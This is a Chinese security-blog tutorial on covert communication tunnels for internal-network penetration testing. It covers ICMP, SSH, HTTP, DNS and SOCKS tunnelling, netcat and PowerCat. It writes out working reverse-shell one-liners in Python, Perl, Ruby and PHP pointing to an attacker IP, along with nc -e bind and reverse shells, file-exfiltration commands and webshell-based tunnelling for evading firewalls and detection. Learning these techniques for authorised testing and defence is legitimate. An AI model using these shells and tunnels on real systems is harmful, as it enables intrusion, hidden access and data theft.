freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

对于隐藏通信隧道知识及其常用命令的总结
2022-07-07 20:18:39
所属地 河南省

什么是隧道?

这里的隧道,就是一种绕过端口屏蔽的通信方式。举个例子,比如在一个防火墙两端进行数据通信,防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,进而通过防火墙,在防火墙两端进行通信,防火墙两端开辟的路径就相当于是一个隧道。

隐藏通信隧道用来干什么?

隐藏通信隧道技术常用于在访问受限的网络环境中或不受信任的网络中实现安全的数据传输。用通俗的话来讲就是在大多数情况下,内网的环境存在多种边界设备以及入侵检测装置的限制,它们会对主机间或者内网与外网之间通信的流量进行检测,如果存在异常就会进行拦截,这无疑给内网渗透增加了难度,而隐藏通信隧道技术就是为了绕过各种边界设备的封锁,从而完成主机间或内网与外网之间的通信。

各层网络常用隧道技术都有哪些?

  • 网络层:IPV6隧道、ICMP隧道、GRE隧道

  • 传输层:TCP隧道、UDP隧道、常规端口转发

  • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

常规判断内网连通性的方法都有哪些?

1. TCP 协议
用netcat
执行 nc 命令:nc <IP> <端口>
例如:nc -zv 192.168.26.20 80

2. HTTP 协议
用“curl”工具,执行curl <IP地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息
例如:curl www.baidu.com:80

3. ICMP 协议
用“ping”命令,执行ping <IP地址/域名>
例如: ping  www.baidu.com

4. DNS 协议
检测DNS连通性常用的命令是“nslookup”和“dig”
nslookup 是windows自带的DNS探测命令
dig是linux系统自带的DNS探测命令
例如:nslookup www.baidu.com   服务器-ip
      dig   服务器-ip   www.baidu.com

网络层隧道技术

**IPV6隧道简介:**IPV6隧道是指通过IPV4隧道传送IPV6数据报文的技术,隧道的本质就是数据包的封装。我们把ipv6的数据包封装到ipv4中,以便在ipv4网络中传输,数据包到达目的地后,再把ipv6数据包从ipv4中拆出来,从而达到ipv6内容在ipv4的网络中传播。

支持IPV6隧道的工具:socat、6tunnel、nt6tunnel等

优点:现在的防火墙等安全设备并没有对ipv6流量进行检测的相关规则,我们可以把ipv6内容封装到ipv4中传播,来绕过安全设备的检测。

6tunnel建立IPV6隧道:

地址:https://github.com/wojtekka/6tunnel,6tunnel是一个隧道工具,可以从ipv6到ipv4,也能从ipv4到ipv6。相关参数可参考官方说明。

搭建隧道

kali中自带,直接使用kali测试,连接的目标是centos,centos需要开启ipv6,示例图如下(以80web服务为例)。
图片.png

6tunnel不支持多个端口转发,如果有其他服务的端口需要转发,需要再次运行6tunnel,运行后会自动在后台运行。

图片.png

此时我们在kali中访问本地的80端口,6tunnel会转到centos的80上,从而访问到centos的web服务(以ipv6数据包的形式)。

想要断开该隧道的时候kill掉对应进程即可。

**注意:**6tunnel指定目标ipv6地址时需要指定网卡。

**ICMP隧道简介:**讲TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙,实现不受限制的网络访问。

支持ICMP隧道的工具:icmpsh、PingTunnel

优点:通常防火墙不会屏蔽ping数据包

icmpsh建立ICMP隧道:

因为icmpsh会替代系统本身ping命令的应答程序,所以需要输入以下命令来关闭本地的ICMP应答

sysctl -w net.ipv4.icmp_echo_ignore_all=1
./run.sh
192.168.1.9    #根据提示输入目标机器IP  并按回车

然后在目标机器上执行以下命令即可

icmpsh.exe -t 192.168.1.7 -d 500 -b 30 -s 128    #这里的ip为攻击机的ip

优点:使用简单,运行时不需要管理员权限。

PingTunnel建立ICMP隧道:

应用场景:数据库服务器策略限制web服务器无法直接访问数据库服务器,但是可以通过ping命令访问数据库服务器

图片.png

github:https://github.com/esrrhs/pingtunnel

ptunnel -x  shuteer      #在web服务器执行
ptunnel -p 192.168.1.4  -lp 1080 -da 1.1.1.10  -dp 3389 -x shuteer     #在服务器执行
#对于以上命令的解释,以web服务器为跳板,监听本地1080端口,并将对数据库服务器的3389端口的请求给到本地的1080端口

图片.png

然后在服务器本地访问1080端口,就可以发现已经与数据库服务器的3389端口建立了连接

传输层隧道技术

传输层隧道技术包括TCP隧道、UDP隧道、端口转发等

lcx端口转发

图片.png

图片.png

netcat的常用命令

nc -nv 192.168.26.137 			 	 	#抓取192.168.26.137 22端口的banner
nc -v 192.168.26.137  80          		 #扫描指定主机的80端口
nc -v -z 192.168.26.137  20-1024  		  #扫描指定主机的20-1024端口段
nc -nvv 192.168.26.137  80		 		 #与远程主机建立连接
nc -lp 4444             				 #监听本地4444端口
#文件传输
nc -lvp 4444 >1.txt                             #在服务器执行
nc  -vn 192.168.26.20  4444  <  info.txt -q 3   #在目标机器输入服务器的IP、端口,将本地info.txt传输给服务器,传输完成后三秒断开

正向shell目标机器开启监听 服务器主动连接目标机器

nc -lvp 4444 -e /bin/bash                              #目标机器为linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe			  #目标机器为windows
nc 192.168.26.137 4444       #在服务器输入目标机器的IP、端口

反向shell目标机器主动连接服务器 服务器开启监听

nc -lvp 4444                #在服务器开启监听4444
nc 192.168.26.20 4444 -e /bin/bash                              #服务器为linux      此处IP为服务器-IP
nc 192.168.26.20 4444 -e c:\windows\system32\cmd.exe		   #服务器为windows	   此处IP为服务器-IP

当目标机器没有nc时

nc -lvp 5555              #监听5555端口
#python反向shell   注意将x.x.x.x改成服务器的IP
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
#perl反向shell方法一   注意将x.x.x.x改成服务器的IP
perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

#perl反向shell方法二  注意将x.x.x.x改成服务器的IP
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
#ruby反向shell  注意将x.x.x.x改成服务器的IP
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
#php反向shell  注意将x.x.x.x改成服务器的IP
php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

PowerCat

**简介:**PowerCat可以说是nc的powershell版

图片.png

nc正向连接PowerCat

powercat -l -p 8080 -e cmd.exe -v           #win7
nc 192.168.56.130 8080 -vv                  #KaLi

nc反向连接PowerCat

nc -lp 8888 -vv                #KaLi
powercat -c 192.168.56.129 -p 8888 -v -e cmd.exe	#win7

powercat传输文件

powercat -l -p 9999 -of newtest.txt -v       #启动监听本地9999端口 并将收到的内容输出到newtest.txt中
powercat -c 10.10.10.129 -p 9999 -i c:\test.txt #将c盘下的test.txt文件发送到10.10.10.129的9999端口

powercat生成正向shell

powercat -l -p 8000 -e cmd -v -g >> shell.ps1

然后讲shell.ps1上传到目标机器并执行,然后在服务器执行以下命令即可获得正向shell

powercat -c 10.10.10.129 -p 8000 -v        #主动连接目标机器

powercat生成反向shell

powercat -l -p 8000  -ep -v -g >> shell.ps1
powercat -l -p 9999 -v

在win7上的Powercat作为跳板实现KaLi与winserver08的通信

powercat -l -v -p 9999 -e cmd.exe            #在winserver08上监听9999端口,并将得到的命令交给cmd处理
powercat -l -v -p 8000  -r tcp::10.10.10.129:9999  #在win7上监听8000端口并且将流量转发给winserver08的9999端口
nc 192.168.56.130 8000 -vv             #在KaLi上,主动连接win7的8000端口

应用层隧道技术

SSH实现本地转发

应用场景:服务器可以访问web服务器,web服务器也可以访问服务器

目的:以web服务器为跳板,实现服务器访问数据库服务器3389端口

图片.png

将 Web服务器192.168.1.11作为跳板,将内网数据库服务器1.1.1.10 的3389端口映射到服务器机器192.168.1.4的1153端口,再访问服务器的1153端口,就可以访问1.1.1.10的3389端口了。在服务器上执行如下命令,

ssh -CfNg -L    1153:1.1.1.10:3389         root@192.168.1.11
#解释		    (服务器端口)(目标主机)(目标端口)     (跳板机)

在服务器上执行以上命令,会要求输入Web服务器(跳板机)的密码,输入web服务器密码后,在服务器执行以下命令即可连接数据库服务器的3389端口

rdesktop 127.0.0.1:1153

SSH实现远程转发

图片.png

应用场景:服务器不可以访问web服务器,web服务器可以访问服务器

目的:以web服务器为跳板,实现服务器访问数据库服务器3389端口

分析:在web服务器上远程调用服务器监听7000端口,所有访问服务器7000端口的数据都将通过SSH隧道转发给数据库服务器的3389端口

在web服务器上执行以下命令

ssh -cfNg -R 3307(服务器端口):1.1.1.10 (目标主机):3389(目标端口)  root@192.168.1.4

在服务器执行以下命令即可连接数据库服务器的3389端口

rdesktop 127.0.0.1:3307

SSH实现动态转发

应用场景:服务器可以访问web服务器,web服务器也可以访问服务器

目的:实现在服务器的浏览器中访问域控

图片.png

ssh -CfNg -D 7000 root@192.168.1.11

在服务器上执行以上命令,建立一个动态的SOCKS 4/5代理通道,接下来,在本地打开浏览器,设置网络代理

图片.png

设置好代理后,即可通过浏览器访问域控。

任何支持SOCKS 4/5协议的程序都可以使用这个加密通道进行代理访问。

HTTP(S)隧道

这里使用reGeorg工具来建立HTTP隧道

先将reGeorg工具带的马子上传到web服务器上,并用浏览器访问,然后在KaLi上执行以下命令

python reGeorgSocksProxy.py -u http://192.168.184.149:8080/tunnel.jsp -p 9999

最后需要将proxychains.conf文件中的设置的端口改为9999,然后就可以挂上proxychains来访问一些web服务器并不对外开放的端口,或者进一步的操作。

优点: 大多数防火墙和入侵检测设备都不会过滤DNS流量,很多研究表明DNS隧道在僵尸网络和APT攻击中扮演着重要的角色。

首先检查DNS连通性,看该主机成功解析外网域名

nslookup www.baidu.com

这里用iodine这款工具来搭建DNS隧道,准备一台服务器,然后设置一条DNS的A记录,指向自己的域名,接着设置一条DNS的NS记录指向自己的子域名。设置好DNS解析后就可以开始在服务器上安装该工具的服务端了,使用下面这条命令即可安装。

apt  install  iodine

安装好后使用以下命令运行iodine

iodined -f -c -P 123456   192.168.0.1  test.com  -DD

其中:

  • test.com 是自定义DNS传输的主域名

  • 192.168.0.1 自定义的局域网虚拟IP

  • 123456 自定义密码,客户端需要同样密码才能连接

对于linux客户端机器只需安装iodine客户端即可 命令如下:

iodined -f   -P 123456     test.com  -M 200

Socks代理

SOCKS有两种类型

SOCKS4:只支持TCP类型

SOCKS5:不仅支持TCP/UDP协议,还支持各种身份验证等

这里介绍两个用的比较多的Socks代理工具,一个是应用于linux的SOCKS代理工具Proxychains,另一个是应用于windows的下SOCKS代理工具SocksCap64。

在linux下使用Proxychains实现内网漫游

Proxychains是一款可以在linux下实现全局代理的软件,性能稳定、可靠,该工具在Kali中有集成,使用十分便捷。

**应用场景:**如下图所示我们在kali上已经获得了一个msf会话,然后使用下面这条命令发现内网的其他网段

run get_local_subnets

图片.png

接着使用下面这条命令添加一条路由

run autoroute -s 192.168.22.0/24

为了接下来可以直接使用kali上的工具对内网中22网段的主机进行渗透,我们就需要建立一个socks隧道

background                  #先把当前会话挂起来
use auxiliary/server/socks4a
show options 
 set srvhost 192.168.26.20       #kali的ip
 exploit

接下来还需要改一下配置文件,改成kali的ip就行了

vim /etc/proxychains.conf

图片.png

接下来就在各类工具前面加上proxychains即可直接对目标内网进行扫描和渗透。

在windows下使用SocksCap64实现内网漫游

Sockscap64是一款代理客户端软件,可以使Windows网络应用程序来访问网络而不需要对这些应用程序做任何修改。

接着上面的场景继续说,通过proxychains我们可以使用kali上的工具对目标内网进行操作,但是如果此时我们想使用一些windows上的工具对内网进行操作该怎么办呢,这个时候就需要用到SocksCap64这款工具了。假设我们想要使用蚁剑这款工具,我们可以点击代理,然后把kali上的ip和相应的端口添加上去即可。设置完代理后,点击程序把蚁剑添加到这个工具里面,然后如下图所示,右键单击蚁剑图标,然后点击在代理隧道中运行选中程序即可。

图片.png

参考资料:《内网安全攻防渗透测试实战指南》

# 渗透测试 # shell脚本 # 隧道传输 # 隧道搭建 # 内网渗透基础
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者